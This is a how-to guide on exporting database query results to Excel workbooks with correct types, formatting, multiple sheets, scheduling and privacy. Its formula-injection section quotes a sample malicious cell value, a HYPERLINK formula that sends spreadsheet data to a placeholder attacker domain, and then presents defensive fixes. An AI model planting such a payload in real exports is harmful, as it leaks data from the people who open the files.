Sending Database Results to Excel Properly Every Time
Export SQL results to Excel that open cleanly: keep types and dates, carry formatting, use several sheets, resist formula injection and run on a schedule.
The request sounds trivial: put the query result in a spreadsheet and send it. Anyone who has done it a dozen times knows the ways it goes wrong. The file opens with a column of dates as numbers, or with the leading zeros stripped from a product code, or with a long number shown as 1.23E+15. The columns are too narrow to read. Accented names are garbled. The totals the finance team compute differ in the last cent from the database. Somebody opens a CSV, saves it, and the damage becomes permanent. Each is avoidable, and the avoidance is a short list of habits more than a clever technique.
This guide is the map for the export side of the Excel cluster. It explains the choices at the level of method and points to the articles that carry the code: exporting from PostgreSQL with Python, writing a DataFrame with formatting, SQL Server query output, MySQL with a script, multi-sheet reports, formulas and number formats, panes, filters and widths, scheduled email delivery, exports that open cleanly and why an exported date shows as a number. It builds on what is inside an Excel file, because writing a good workbook is easier once you know what a workbook is.
Decide who the file is for
The first question is who opens it, because the answer changes every other choice.
A person in a spreadsheet program. They will double click, look, sort, filter, maybe type in it. They need a file that looks right on opening: a header they can read, columns wide enough, dates that are dates. Give them XLSX.
A program. It needs predictable text, a stable layout and no surprises. Give it CSV with a documented format, or better, a typed format such as Parquet (Excel versus CSV for sharing data with other systems). If a program must read XLSX, give it one plain table on one sheet.
Both. Produce both from the same query run, so the numbers cannot disagree: a formatted workbook for the person, a CSV or data sheet for the program.
A frequent mistake is to send a CSV to a person because it is easy to produce. They double click it, Excel guesses the types of every column, and the person sees the damage and blames the data. An XLSX with correct types and formats removes the guessing. The cost is a library and a few more lines of code, which is why this guide exists.
The pipeline in four steps
A good export follows a shape that is nearly the same whichever database you use:
Run the query with the right columns, in the right order, with the names you want people to see.
Fix types on the way out: identifiers to text, dates to dates, decimals to numbers.
Write the workbook with a library that supports formats, widths, filters and multiple sheets.
Check and deliver: confirm the row count, name the file predictably, and put it where the reader expects it or send it.
Each step is small, and the order matters. Types are fixed before the write because writers take what they are given. Formatting is applied in the writer because a database knows nothing about it.
Step 1: shape the query for the reader
The query is the first place to help the reader. Name columns in plain words with an alias (SELECT created_at AS "Order date"), because a header like cust_id_fk reads as noise to a person. Order columns the way people read, identifiers and names first, measures to the right. Sort rows deliberately, since a spreadsheet inherits whatever order the database returns, and an unordered result can differ between runs. Round decimals in SQL only if the business rule is to round; otherwise export the full value and format the display in the workbook, which preserves precision for anyone who adds columns.
Decide how to show nulls. In a spreadsheet, a null is an empty cell, which is usually right. If a blank would be confusing, because zero and unknown mean different things, export a visible marker like n/a, in a text column, and not a made-up number. Do not substitute zero for null in a numeric column: it changes sums and averages.
Keep the result set reasonable. A person cannot read a million rows, and Excel stops at 1,048,576 per sheet (Excel row and column limits). If the result is bigger than a few tens of thousands of rows, ask what they will do with it. Often the right deliverable is an aggregate, and the detail can sit in the database.
Step 2: get the types right
The types in a spreadsheet are few, and each deserves a decision.
Identifiers are text. Order numbers, SKUs, zip codes, phone numbers, account numbers, long ids: anything you would never add up. If a library writes them as numbers, Excel shows 1.23E+15, drops leading zeros and loses digits past the fifteenth (Excel number precision and the 15 digit limit). Convert to strings before writing, and the cell will be a text cell.
Dates are dates. Write Python date or datetime objects, and the library stores a serial number with a date format. Do not write strings like 2024-01-05, which are text and cannot be sorted or used in date arithmetic, and do not write numbers without a format, which show as five-digit integers (why an exported date shows as a number). Excel has no time zones, so convert timestamps to the zone the reader works in, and say which zone in the header or a note.
Money is a number with a format. Write a float or a Decimal converted to float, and give the cell a number format such as #,##0.00. Do not write "$1,234.50" as a string: it cannot be summed. Be aware that floats cannot hold some decimal fractions exactly, so totals computed in Excel may differ from the database in the last digit, which formatting hides.
Booleans become TRUE/FALSE cells, or better for people, Yes/No text. Choose one and document it.
Long text stays text. A cell holds up to 32,767 characters, and a cell with line breaks needs the wrap format to display them.
Most drivers return Python types that map well: int, float, Decimal, str, date, datetime, bool. The conversions you add are the exceptions: strings for ids, naive datetimes for zone-converted timestamps, floats for decimals.
Step 3: write it with a library
Use a library that writes real cells. For pandas users, DataFrame.to_excel is the shortest path, and it can use XlsxWriter or openpyxl as the engine (writing a DataFrame to Excel with formatting). For finer control, write cells directly with XlsxWriter, which is fast and good at formatting, or openpyxl, which can also edit existing files (choosing between openpyxl, xlsxwriter and calamine). A minimal, well-formed export looks like this:
import pandas as pd
df = pd.read_sql("SELECT order_no, customer, amount, ordered_on FROM orders ORDER BY ordered_on", conn)
df["order_no"] = df["order_no"].astype(str)
with pd.ExcelWriter("orders.xlsx", engine="xlsxwriter", datetime_format="yyyy-mm-dd") as writer:
df.to_excel(writer, sheet_name="Orders", index=False)
sheet = writer.sheets["Orders"]
sheet.freeze_panes(1, 0)
sheet.autofilter(0, 0, len(df), len(df.columns) - 1)
sheet.set_column("A:A", 12)
sheet.set_column("B:B", 28)
sheet.set_column("C:C", 12, writer.book.add_format({"num_format": "#,##0.00"}))
sheet.set_column("D:D", 12)That is about fifteen lines for a file that opens with a frozen header, working filters, readable widths, dates that are dates and an amount column that sums. The order numbers are text because of the astype(str). The writer is a context manager, so the file is closed and saved when the block exits; forgetting this leaves a corrupt or empty file.
For multiple sheets, a summary and the detail, repeat the to_excel call with different sheet names (building a multi-sheet Excel report from SQL). For formulas, such as a total row that people can see updating when they edit, write the formula text and a number format (adding formulas and number formats from Python); remember that formulas written by a library have no cached value until Excel opens and saves the file (what happens to formulas when code reads an Excel file), which matters if another program reads the same file.
Step 4: formatting that makes a file usable
A few small settings separate a dump from a deliverable, and none costs more than a line of code:
Freeze the header row, so it stays visible while scrolling.
Turn on filters over the data range, so a reader can sort and filter without setup.
Set column widths from the data, because default widths cut off text and show
####for numbers and dates that do not fit.Apply number formats: thousands separators, fixed decimals, dates in an unambiguous pattern.
Style the header with bold text and a fill, so the table reads as a table.
Name the sheet something meaningful;
Sheet1says nothing, and sheet names are limited to 31 characters with no: \ / ? * [ ].
Freezing panes, filters and column widths from code has the details for both libraries. Resist over-formatting. Colors, borders and merged cells make a report prettier and a dataset worse, and merged cells in particular break every later import (merged cells, hidden rows and other things that break imports). If you need a presentation, put it on a separate sheet from the data.
A Table (the Excel feature) is a good middle ground: it gives a named, filterable, banded range with a defined extent, and anyone importing the file later can read it by name (Excel named ranges and tables explained). XlsxWriter's add_table and openpyxl's Table both create one.
Security: formula injection
Export code that copies user-supplied text into cells has a vulnerability that is easy to miss. In Excel, a cell whose content starts with =, +, - or @ can be interpreted as a formula. If a customer registers with the name =HYPERLINK("http://evil.example/?d="&A2,"click") or a formula that calls out to another application, and an employee exports the customer list and opens it, Excel may evaluate the formula. This is known as CSV injection or formula injection, and the OWASP project documents it. It affects CSV files and XLSX files alike when the library writes the text as a formula.
Two things can go wrong. First, a library may treat a string that begins with = as a formula on purpose: XlsxWriter's generic write() method does so by default, and openpyxl stores a string beginning with = as a formula. Second, even in a text cell, a CSV re-opened in Excel is re-parsed, so the cell becomes a formula there.
The fixes, in order of preference:
Write strings as strings. With XlsxWriter, use
write_string(), or create the workbook with the optionstrings_to_formulasturned off. With pandas and XlsxWriter, pass it through the engine options:
writer = pd.ExcelWriter(
"customers.xlsx",
engine="xlsxwriter",
engine_kwargs={"options": {"strings_to_formulas": False, "strings_to_urls": False}},
)Neutralize the dangerous prefix for any untrusted text column by adding a leading apostrophe or space, or by prefixing a single quote so that the cell is text. A small function applied to every free-text column does it:
def safe_text(value):
s = "" if value is None else str(value)
return "'" + s if s[:1] in ("=", "+", "-", "@", "\t", "\r") else sThe apostrophe stays visible in some readers, which is an acceptable price for safety. Apply the function to every column that holds text a customer, a vendor or a form entered, and leave your own generated numbers alone (a legitimate negative number is a number cell, not a string, so -5 is not affected when written as a number).
Tell recipients to open untrusted exports in Protected View and to decline prompts to enable content or update links.
Formula injection is a reason to treat every export of user data as an input to a program that executes things. It is one of the quiet advantages of writing typed cells: a number is not a formula, and a text cell written as text stays text.
Privacy and access
An exported workbook is a copy of data that has left the database's access controls. Before sending, ask what the reader is allowed to see, and export only those columns and rows. Do not include internal ids that are not needed. For sensitive data, deliver through a system with access control and expiry, rather than by email attachment, which gets forwarded. If you must send a file, consider a password on the document, understanding that Excel's file encryption is as strong as the password, and send the password through another channel.
Watch the metadata. Workbooks store the author and the last-modified-by name, the application, and sometimes the path of linked files. Libraries set defaults; XlsxWriter's set_properties and openpyxl's wb.properties let you control them. A workbook made by a script should carry a generic author such as "Reporting" and not a person's name.
Scheduling and delivery
A report that is run by hand is a report that is forgotten. Put the export on a schedule, with a few conventions that make it dependable.
A stable file name pattern, with the period in it: orders_2024-03.xlsx, not orders_final_v2.xlsx. People can find it and scripts can predict it.
A fixed delivery place: a shared folder, a bucket with a link, or an email to a list. If it is email, mind the size limits and use a link above a few megabytes (emailing a scheduled Excel report from a database).
A run record: when it ran, how many rows, how long, which query version. Store it in a table.
A sanity check before delivery: a row count above a minimum, a total within a tolerance of the previous run. A report that goes out empty on the day the source table was truncated damages trust faster than a late report.
An owner, listed in the file's properties or the delivery email, so a recipient knows whom to ask.
On Linux, cron or a systemd timer runs a script on schedule; on Windows, Task Scheduler or SQL Server Agent; in a warehouse or an orchestrator, a scheduled task. The script should return a non-zero exit code on failure and send an alert, so a silent failure does not leave people waiting for a file that never comes.
Common failures and the fix
Dates show as numbers like 45292. The cell has no date format. Write real dates with a date format, or set the format on the column (why an exported date shows as a number).
Leading zeros are gone. The id was written as a number. Convert to text before writing.
Long numbers show as 1.23E+15. Same cause. Text cells, or a wide column with a number format of 0, with the 15-digit limit in mind.
**Columns are too narrow, or show ####.** Set widths, from the longest value in each column plus a margin.
Accented characters are garbled. This is a CSV problem; an XLSX is always Unicode inside. If you must send CSV, write UTF-8 with a byte order mark (making Excel exports open cleanly every time).
The file opens with a repair prompt. The writer was not closed, the sheet name is invalid, a cell exceeds 32,767 characters, or a string contains a control character that XML forbids. Strip control characters, truncate or split long text, and always close the writer.
The file is huge. A million rows with formatting on every cell is heavy. Write values without per-cell formats where possible, apply formats at column level, and consider write-only modes (writing large Excel files quickly with write-only mode).
Testing an export
Treat the export as code with a contract. A short test reads the written file back and asserts what matters: the sheet names, the header row, the row count, the type of the key columns (a text cell for the id, a date for the date), the number format of the money column, and that no cell holds a formula unless you wrote one on purpose. Reading back with openpyxl takes a few lines, and it catches a regression, such as a column that became numeric, before a recipient does. Keep a small fixture query with a tricky row: a name starting with =, an id with leading zeros, a date at midnight, an accented name, a null. If the file survives that row, it will survive the data.
Locale, decimals and what the reader sees
An XLSX file stores numbers in one neutral form and each reader's Excel displays them using the regional settings of that computer. The workbook you write with 1234.5 shows as 1,234.50 in one country and 1.234,50 in another, with no change to the file. That is a strength, since the file is the same everywhere, and it explains why you should write numbers as numbers and not as formatted strings. A string "1,234.50" is the same text for everyone and a number for no one.
The same applies to dates. A date cell displays in the reader's short date pattern unless you set an explicit format. If you want one pattern for everybody, set it in the cell format, and choose the unambiguous year-month-day order. Be careful with custom formats that contain words: month and day names in a format string can be localized by the reader's Excel and break when a format code from one language reaches another. Stick to the numeric codes (yyyy-mm-dd, hh:mm).
Headers and text are plain Unicode. A German or Japanese header needs no special handling in XLSX. It is only when you drop down to CSV that you must think about encoding and the list separator, which in several European locales is a semicolon.
Large exports and memory
A report of a few thousand rows is trivial. A million rows is not, and the way to write it matters. Building a full dataframe in memory and then writing it uses memory for the data and again for the library's own model of the sheet. Three habits keep it in check. Fetch from the database in chunks with a server-side cursor, so the full result never sits in memory at once. Use the library's streaming mode where it exists: XlsxWriter's constant_memory option writes each row as it is added and requires you to write rows in order; openpyxl's write-only workbooks do the same (writing large Excel files quickly with write-only mode). And apply formats at the column level and not to each cell, since per-cell formats multiply the size of the styles part.
Streaming writers trade features for speed. You cannot go back and change an earlier row, auto-fit widths after the fact, or add a chart that refers to data you have not yet written. Compute widths from a sample or from the query's metadata, and set them before writing the rows. If the file will exceed the sheet limit, split deliberately across sheets or files, or deliver CSV for the bulk and Excel for the summary.
Time the export on realistic data. Writing XLSX is slower than writing CSV by a large factor, because every cell becomes XML that is then zipped. If a scheduled report starts taking minutes, the fix is usually fewer cells, not a faster library.
Making the sheet readable
Readers open the file once, and their first impression decides whether they trust it. A few small choices help. Put a title or a note on a separate "About" sheet instead of above the data, so the data sheet remains a clean table: what the report is, which query version made it, when it ran, in what time zone, and who to ask. Show totals in a separate summary sheet or a formula row clearly marked as a total, never inside the data range where a filter or an import would count it as a record. Use a restrained palette and a consistent header style, and avoid color as the only carrier of meaning, since people print in black and white and some readers do not distinguish certain colors.
Align numbers to the right and text to the left, which is Excel's default and worth not overriding. Keep header names short enough that the column does not need to be wide just for the title, and use text wrap for long headers instead of widening the column. If a column holds very long text, set a maximum width and wrap, because a 400-character cell stretched into one line is unreadable.
Reproducibility
Months later someone will ask why a number differs from last quarter's. Make the answer easy to find. Store the exact SQL, or its version, with the run record. Write the parameters (date range, filters) into the About sheet. Keep the generated file for a defined period, or at least its hash and row count. If the query changes, change the version and note it in the file. A report whose definition lives only in a script that has been edited eleven times is a report nobody can defend.
When two people run the "same" report and get different totals, the cause is nearly always a difference in parameters, in the snapshot time or in a filter on canceled rows. Printing those facts on the About sheet turns a long investigation into a glance.
A checklist before you send
Run through this list for any new export:
Does the query name columns for humans and sort rows on purpose?
Are identifiers text, dates real dates, money numbers with formats?
Is every free-text column protected against formula injection?
Does the header row freeze, filter and read clearly, with sensible widths?
Are sheet names meaningful, under 31 characters and free of forbidden characters?
Does the file open without a repair prompt, in Excel and in a second program such as LibreOffice or Google Sheets?
Does the row count match the query, and the total match the database?
Are the author and properties clean, and does the file contain only the columns the reader may see?
Is the file named predictably and delivered where the reader looks?
Is there a record of the run, an alert on failure and an owner?
When sending results to Excel is the wrong delivery
The reader needs live data. A file is a snapshot. For a dashboard that must be current, give access to the database view or a BI tool, and keep the workbook for a periodic report.
The data is big. Beyond a few hundred thousand rows, give an aggregate in Excel and the detail in CSV, Parquet or a queryable system.
The reader is a program. Deliver a typed, documented format, not a workbook designed for eyes.
The data is sensitive. An attachment escapes your controls. Use a system that logs access and can revoke it.
People will edit and send it back. A workbook edited by hand and returned is an unmanaged data source. Offer a form or an upload with validation, or accept that the returned file must go through the import discipline described in getting Excel data into a database.
The writing libraries are documented in the XlsxWriter documentation on working with pandas and the pandas to_excel reference. The injection risk is described in the OWASP page on CSV injection. To check a small extract as JSON before you format it, use the CSV to JSON converter.
